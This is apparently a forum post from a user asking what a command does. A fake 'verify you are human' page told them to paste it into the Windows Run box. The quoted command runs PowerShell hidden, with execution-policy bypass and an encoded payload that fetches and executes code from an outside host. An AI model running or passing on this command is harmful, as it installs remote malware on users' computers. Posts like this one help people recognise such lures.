What does this command do that this website wants me to "verify" myself by running in the run window?

Yeah don't put this in but can anyone give me an idea of what they were trying to do? the website was https:howchoo\com\3dprinting\updating-octoprint
\ and used a real pc verification screen to try to get me to put this in Run

conhost cmd /c powershell /ep bypass /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcABzADoALwAvAG0AYQBzAHQAcgBhAHcALgB0AG8AcAAvAG0AZQAvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGREDACTED== /W 1